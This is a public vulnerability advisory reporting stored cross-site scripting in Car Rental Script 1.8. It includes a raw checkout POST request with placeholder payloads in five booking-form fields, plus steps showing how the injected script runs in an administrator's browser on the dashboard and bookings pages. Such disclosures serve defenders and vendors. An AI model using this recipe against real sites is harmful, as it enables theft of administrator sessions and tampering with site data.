Car Rental Script 1.8 – Stored Cross-site scripting (XSS)
# Exploit Title: Car Rental Script 1.8 - Stored Cross-site scripting (XSS) # Date: 30/07/2023 # Exploit Author: CraCkEr # Vendor: GZ Scripts # Vendor Homepage: https://gzscripts.com/ # Software Link: https://gzscripts.com/car-rental-php-script.html # Version: 1.8 # Tested on: Windows 10 Pro # Impact: Manipulate the content of the site Release Notes: Allow Attacker to inject malicious code into website, give ability to steal sensitive information, manipulate data, and launch additional attacks. ## Stored XSS ----------------------------------------------- POST /EventBookingCalendar/load.php?controller=GzFront&action=checkout&cid=1&layout=calendar&show_header=T&local=3 HTTP/1.1 payment_method=pay_arrival&event_prices%5B51%5D=1&event_prices%5B50%5D=1&event_prices%5B49%5D=1&title=mr&male=male&first_name=[XSS Payload]&second_name=[XSS Payload&phone=[XSS Payload&email=cracker%40infosec.com&company=xxx&address_1=[XSS Payload&address_2=xxx&city=xxx&state=xxx&zip=xxx&country=[XSS Payload&additional=xxx&captcha=qqxshj&terms=1&event_id=17&create_booking=1 ----------------------------------------------- POST parameter 'first_name' is vulnerable to XSS POST parameter 'second_name' is vulnerable to XSS POST parameter 'phone' is vulnerable to XSS POST parameter 'address_1' is vulnerable to XSS POST parameter 'country' is vulnerable to XSS ## Steps to Reproduce: 1. As a [Guest User] Select any [Pickup/Return Location] & Choose any [Time] & [Rental Age] - Then Click on [Search for rent a car] - Select Any Car 2. Inject your [XSS Payload] in "First Name" 3. Inject your [XSS Payload] in "Last Name" 4. Inject your [XSS Payload] in "Phone" 5. Inject your [XSS Payload] in "Address Line 1" 6. Inject your [XSS Payload] in "Country" 7. Accept with terms & Press [Booking] XSS Fired on Local User Browser. 8. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php?controller=GzAdmin&action=dashboard) XSS Will Fire and Executed on his Browser 9. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php?controller=GzBooking&action=index) XSS Will Fire and Executed on his Browser |